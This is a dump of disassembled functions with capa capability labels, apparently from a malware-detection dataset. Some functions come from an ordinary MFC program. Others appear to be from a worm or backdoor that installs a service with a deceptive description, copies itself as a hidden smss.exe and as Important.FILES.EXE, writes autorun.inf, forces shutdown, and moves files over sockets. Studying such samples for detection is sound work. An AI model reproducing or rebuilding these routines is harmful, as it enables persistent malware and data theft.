joyce8/EMBER2024-capa huggingface dataset:
Function at 0x553cd7
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
cmp dword [ebp + 8], 0
jne 0x553cfd
push 0x13c
push str.afxtls.cpp
call fcn.00542d30
test eax, eax
je 0x553cfd
int3
xor eax, eax
test eax, eax
jne 0x553ce3
mov dword [ebp - 4], 1
mov dword [ebp - 8], 1
jmp 0x553d1c
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 8]
cmp eax, dword [edx + 8]
jge 0x553d9f
cmp dword [ebp + 0xc], 0
je 0x553d3f
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x10]
mov eax, dword [ebp - 8]
mov ecx, dword [edx + eax*8 + 4]
cmp ecx, dword [ebp + 0xc]
jne 0x553d84
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [eax + ecx*4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x553d6b
push 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xc]
call dword [edx]
mov dword [ebp - 0x20], eax
jmp 0x553d72
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 8]
mov dword [ecx + edx*4], 0
jmp 0x553d9a
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 8]
cmp dword [ecx + edx*4], 0
je 0x553d9a
mov dword [ebp - 4], 0
jmp 0x553d13
cmp dword [ebp - 4], 0
je 0x553df9
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x14
call fcn.004c54f0
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0
je 0x553de4
push 1
mov edx, dword [ebp - 0x14]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], eax
jmp 0x553deb
mov dword [ebp - 0x24], 0
push 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x553e02
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
add eax, 0x1c
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebp + 0xc], 0
jne 0x553e45
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x553e43
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.00553cd7
jmp 0x553e7a
mov ecx, dword [ebp - 0x10]
add ecx, 0x14
call fcn.004c54d0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x553e7a
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, dword [ebp - 0x10]
call fcn.00553cd7
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
jmp 0x553e53
mov ecx, dword [ebp - 0x10]
add ecx, 0x1c
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esp, ebp
pop ebp
ret 8
Function at 0x554220
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
cmp dword [ebp + 8], 0
je 0x55423d
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + 0xc]
jl 0x554251
push 0xf6
push str.afxtls.cpp
call fcn.00542d30
test eax, eax
je 0x554251
int3
xor edx, edx
test edx, edx
jne 0x55422c
mov eax, dword [ebp - 8]
cmp dword [eax + 0x10], 0
jne 0x554274
push 0xf7
push str.afxtls.cpp
call fcn.00542d30
test eax, eax
je 0x554274
int3
xor ecx, ecx
test ecx, ecx
jne 0x554257
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [eax + ecx*8]
and edx, 1
test edx, edx
jne 0x5542a1
push 0xf8
push str.afxtls.cpp
call fcn.00542d30
test eax, eax
je 0x5542a1
int3
xor eax, eax
test eax, eax
jne 0x55427a
mov ecx, dword [ebp - 8]
cmp dword [ecx], 0xffffffff
jne 0x5542c3
push 0xf9
push str.afxtls.cpp
call fcn.00542d30
test eax, eax
je 0x5542c3
int3
xor edx, edx
test edx, edx
jne 0x5542a7
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x5542e9
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
cmp eax, dword [edx + 8]
jl 0x5542ed
xor eax, eax
jmp 0x5542f9
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
mov eax, dword [ebp + 8]
mov eax, dword [edx + eax*4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x556e46
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 0x10], 0
jne 0x556e92
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
test eax, eax
je 0x556e8b
mov eax, dword [ebp + 8]
push eax
push 0x596d20
call fcn.004effc5
add esp, 8
xor eax, eax
jmp 0x556efe
mov eax, 1
jmp 0x556efe
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x556eeb
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x556eeb
cmp dword [ebp - 8], 0
jne 0x556eeb
mov eax, 1
jmp 0x556efe
mov edx, dword [ebp + 8]
push edx
push str.Warning:_registration_database_update_failed_for_key__s._n
call fcn.004effc5
add esp, 8
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc

Function at 0x557115
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov ecx, 0x60f524
call fcn.00557260
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
xor ecx, ecx
mov cx, word [eax + 8]
test ecx, ecx
jne 0x5571fb
mov edx, dword [ebp - 4]
cmp dword [edx + 4], 0
je 0x557159
push 0x28d
push str.ccdata.cpp
call fcn.00542d30
test eax, eax
je 0x557159
int3
xor eax, eax
test eax, eax
jne 0x55713c
call fcn.005573f0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x5571be
push 5
mov ecx, dword [ebp + 0x10]
neg ecx
sbb ecx, ecx
and ecx, 0xe
add ecx, 0x3ee
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x5571be
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.0050f40e
add esp, 0xc
mov ecx, dword [ebp + 8]
call fcn.0053f698
add eax, 1
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [ebp - 4]
mov dword [edx + 4], eax
mov ecx, dword [ebp + 8]
call fcn.0053f6e2
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov cx, word [eax]
mov word [edx + 8], cx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [ebp + 8]
call fcn.0050de7d
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov ax, word [edx + 8]
mov word [ecx], ax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dx, word [ecx]
xor eax, eax
cmp edx, 0xffff
setne al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x140013f0
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ecx
push esi
push edi
call fcn.140013a0
test eax, eax
jne 0x140014bd
push 0xf003f
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
push 0
test edi, edi
jne 0x1400142d
push str.NTService
push str.Couldnt_open_service_manager
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
xor eax, eax
pop esi
pop ecx
ret
mov eax, dword [esp + 0x14]
push 0
push 0x14008d50
push 0
push 0
push eax
push 1
push 2
push 0x10
push 0xf01ff
push str.Windows_NT_Service
push str.NTService
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
jne 0x1400147e
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
push str.NTService
push str.Couldnt_create_service
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
xor eax, eax
pop esi
pop ecx
ret
lea ecx, [esp + 8]
mov dword [esp + 8], str.For_the_security_of_Windows_NT_servies._An_important_System_service__If_it_was_terminated__Windows_would_be_Collapsed.
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x140014b1
push eax
push eax
push str.count_start_service
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
mov eax, 1
pop esi
pop ecx
ret

Function at 0x140014d0
Capabilities:
Delete service
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
call fcn.140013a0
test eax, eax
jne 0x140014e9
pop edi
mov eax, 1
pop esi
add esp, 0x1c
ret
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x14001518
push eax
push str.NTService
push str.Couldnt_open_service_manager
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
xor eax, eax
pop esi
add esp, 0x1c
ret
push 0x10020
push str.NTService
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x14001550
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
push str.NTService
push str.Couldnt_open_service
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
xor eax, eax
pop esi
add esp, 0x1c
ret
lea eax, [esp + 8]
push ebx
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, eax
call esi
push edi
call esi
xor eax, eax
test ebx, ebx
pop ebx
pop edi
setne al
pop esi
add esp, 0x1c
ret
Function at 0x140016e0
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x14001752
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 8]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [esp + 0x18]
push 0
or ecx, 4
push ecx
call dword [sym.imp.USER32.dll_ExitWindowsEx]
add esp, 0x14
ret
mov edx, dword [esp + 0x18]
push 0
or edx, 4
push edx
call dword [sym.imp.USER32.dll_ExitWindowsEx]
add esp, 0x14
ret
Function at 0x14001770
Capabilities:
Copy file
Get common file path
Set file attributes
Write file on windows

Disassembly:
sub esp, 0xce8
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
mov edx, dword [str...EXE]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x14008388]
mov dword [esp + 0x220], edx
stosb byte es:[edi], al
mov eax, dword [0x14008384]
mov dword [esp + 0x21c], ecx
mov dword [esp + 0x218], eax
mov ax, word [0x14008390]
mov word [esp + 0x224], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x226]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 5
mov esi, str.Important.FILES.EXE
lea edi, [esp + 0x114]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3c
lea edi, [esp + 0x128]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x31c]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str._system_smss.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x31c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x218]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0xcfc]
lea ecx, [esp + 0x14]
push esi
push str._s_s
push ecx
call fcn.14002ed2
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x10
lea edx, [esp + 0x10]
lea eax, [esp + 0x31c]
push 1
push edx
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x10]
push 0x84
push ecx
call edi
lea edx, [esp + 0x114]
lea eax, [esp + 0x10]
push edx
push esi
push str._s_s
push eax
call fcn.14002ed2
add esp, 0x10
lea ecx, [esp + 0x10]
lea edx, [esp + 0x31c]
push 1
push ecx
push edx
call ebx
lea eax, [esp + 0x10]
push 0x84
push eax
call edi
push esi
lea ecx, [esp + 0x424]
push str._sautorun.inf
push ecx
call fcn.14002ed2
add esp, 0xc
lea edx, [esp + 0x420]
push 0x80
push edx
call edi
push 0
push 7
push 2
push 0
push 2
lea eax, [esp + 0x434]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x114]
mov esi, eax
lea edx, [esp + 0x114]
push ecx
lea eax, [esp + 0x118]
push edx
push eax
lea ecx, [esp + 0x530]
push str._autorun__r_nOPEN_s_r_nshellopen
push ecx
call fcn.14002ed2
lea edi, [esp + 0x538]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
not ecx
lea edx, [esp + 0xc]
push 0
dec ecx
push edx
lea eax, [esp + 0x52c]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
add esp, 0xce8
ret
Function at 0x14001d10
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov ecx, dword [ebx + 8]
push edi
mov edi, dword [ebx + 4]
xor esi, esi
sub edi, ecx
test edi, edi
jle 0x14001d4a
mov ebp, dword [esp + 0x14]
mov edx, dword [ebx + 8]
mov eax, edi
mov ecx, esi
sub eax, esi
push 0
add ecx, edx
push eax
push ecx
push ebp
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x14001d4a
add esi, eax
cmp esi, edi
jl 0x14001d2a
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x14001d50
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x1c]
cmp edi, dword [esi + 0xc]
jg 0x14001d94
mov eax, dword [esi + 8]
test edi, edi
mov dword [esi], eax
mov dword [esi + 4], eax
jle 0x14001d94
mov ebx, dword [esp + 0x14]
mov ebp, dword [sym.imp.WS2_32.dll_recv]
mov eax, dword [esi + 4]
push 0
push edi
push eax
push ebx
call ebp
cmp eax, 0xffffffff
je 0x14001d94
mov edx, dword [esi + 4]
sub edi, eax
add edx, eax
test edi, edi
mov dword [esi + 4], edx
jg 0x14001d77
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x14001da0
Capabilities:
Get file size
Write file on windows

Disassembly:
mov eax, 0x19084
call fcn.14003200
push ebx
push ebp
push esi
push edi
mov ecx, 0x6418
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
mov ebx, dword [esp + 0x19098]
lea ecx, [esp + 0x14]
stosw word es:[edi], ax
stosb byte es:[edi], al
push 4
lea eax, [esp + 0x34]
push ecx
push ebx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x2c], 0x19064
mov dword [esp + 0x28], eax
call fcn.14001d50
mov edx, dword [esp + 0x28]
mov ecx, 0x7d000
mov eax, dword [edx]
mov edx, dword [esp + 0x190a8]
cmp ecx, eax
mov dword [esp + 0x30], eax
sbb eax, eax
push edx
and eax, 0x16800
add eax, 0x2800
mov dword [esp + 0x38], eax
call fcn.14006b20
add esp, 0x10
mov eax, dword [esp + 0x1909c]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x14]
push 4
push ecx
push ebx
mov edi, eax
call fcn.14001d50
mov edx, dword [esp + 0x28]
add esp, 0xc
mov esi, dword [edx]
cmp esi, 0xffffffff
je 0x14001eb3
lea eax, [esp + 0x14]
push 4
push eax
push ebx
call fcn.14001d50
imul esi, dword [esp + 0x34]
mov ecx, dword [esp + 0x28]
add esp, 0xc
mov ebp, dword [ecx]
push 0
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [esp + 0x14]
push ebp
push edx
push ebx
call fcn.14001d50
mov ecx, dword [esp + 0x28]
add esp, 0xc
lea eax, [esp + 0x2c]
push 0
push eax
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001e20
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [esp + 0x24], eax
jne 0x14001eca
mov dword [esp + 0x10], 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x19084
ret
Function at 0x14001ee0
Capabilities:
Get file size

Disassembly:
mov eax, 0x19074
call fcn.14003200
mov ecx, dword [esp + 0x1907c]
push esi
push 0
push 0x80
push 3
push 0
push 1
lea eax, [esp + 0x28]
push bind
push ecx
mov dword [esp + 0x2c], 0x19064
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
jne 0x14001f2d
xor eax, eax
mov ecx, dword [esp + 0xc]
lea edx, [esp + 4]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov dword [ecx], eax
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0x1907c]
add ecx, 4
push edx
push eax
mov dword [esp + 0x10], ecx
call fcn.14001d10
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
add esp, 0x19074
ret
Function at 0x14001f70
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, 0x32080
call fcn.14003200
mov ecx, dword [esp + 0x32088]
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [esp + 0x1903c]
push bind
push ecx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x34], 0x19064
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0xffffffff
je 0x14002115
mov eax, dword [esp + 0x14]
lea edx, [esp + 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [eax], esi
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x32090]
push ebp
add ecx, 4
push edx
push eax
mov dword [esp + 0x1c], ecx
call fcn.14001d10
mov ecx, 0x7d000
add esp, 8
cmp ecx, esi
mov dword [esp + 0x24], ebx
sbb ebp, ebp
and ebp, 0x16800
add ebp, 0x2800
mov edx, dword [esp + 0x32098]
push 0
push 0x80
push 3
push 0
push 1
push bind
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov ecx, 0x6400
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov ecx, 0x6400
lea edi, [esp + 0x1902c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x18]
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x28]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea ecx, [esp + 0x20]
push 0
push ecx
lea edx, [esp + 0x34]
push ebp
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x28]
lea esi, [esp + 0x2c]
mov dword [eax], ecx
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
add eax, 4
mov dword [esp + 0x14], eax
mov dword [eax], edx
mov ecx, dword [esp + 0x20]
mov edi, dword [esp + 0x14]
mov eax, ecx
add edi, 4
lea edx, [esp + 0x10]
shr ecx, 2
mov dword [esp + 0x14], edi
push edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x32098]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x28]
mov edi, dword [esp + 0x1c]
add edi, ecx
mov dword [esp + 0x1c], edi
call fcn.14001d10
mov eax, dword [esp + 0x28]
add esp, 8
cmp eax, ebp
jb 0x1400210b
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
inc edx
add ecx, ebp
push ebx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002018
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
jmp 0x14002143
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x32090]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [eax], ebx
mov esi, dword [esp + 0x10]
lea ecx, [esp + 0xc]
add esi, 4
push ecx
push edx
mov dword [esp + 0x18], esi
call fcn.14001d10
add esp, 8
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x32090]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [eax], 0xffffffff
mov edi, dword [esp + 0x10]
lea eax, [esp + 0xc]
add edi, 4
push eax
push ecx
mov dword [esp + 0x18], edi
call fcn.14001d10
add esp, 8
pop edi
pop esi
pop ebx
add esp, 0x32080
ret
Function at 0x14002180
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x244
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x140]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x25c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x150]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x140083bc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x154]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1400220d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x244
ret
mov al, byte [esp + 0x3c]
mov ebp, dword [esp + 0x258]
cmp al, 0x2e
je 0x14002270
test byte [esp + 0x10], 0x10
je 0x1400222b
mov edx, dword [ebp + 4]
mov byte [edx], 0x3f
jmp 0x14002231
mov eax, dword [ebp + 4]
mov byte [eax], 0x3e
mov ecx, dword [ebp + 4]
lea edi, [esp + 0x3c]
inc ecx
xor eax, eax
mov dword [ebp + 4], ecx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [ebp + 4]
not ecx
add eax, ecx
mov dword [ebp + 4], eax
lea ecx, [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x1400230c
cmp byte [esp + 0x3c], 0x2e
je 0x140022f8
mov edx, dword [ebp + 4]
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov esi, dword [ebp + 8]
mov eax, edx
not ecx
dec ecx
sub eax, esi
lea ecx, [ecx + eax + 5]
mov eax, dword [ebp + 0xc]
cmp ecx, eax
jae 0x14002323
mov eax, dword [esp + 0x10]
lea edi, [esp + 0x3c]
shr al, 4
or al, 0x3e
mov byte [edx], al
mov ecx, dword [ebp + 4]
inc ecx
xor eax, eax
mov dword [ebp + 4], ecx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [ebp + 4]
not ecx
add eax, ecx
mov dword [ebp + 4], eax
lea ecx, [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x14002284
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x244
ret
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x244
ret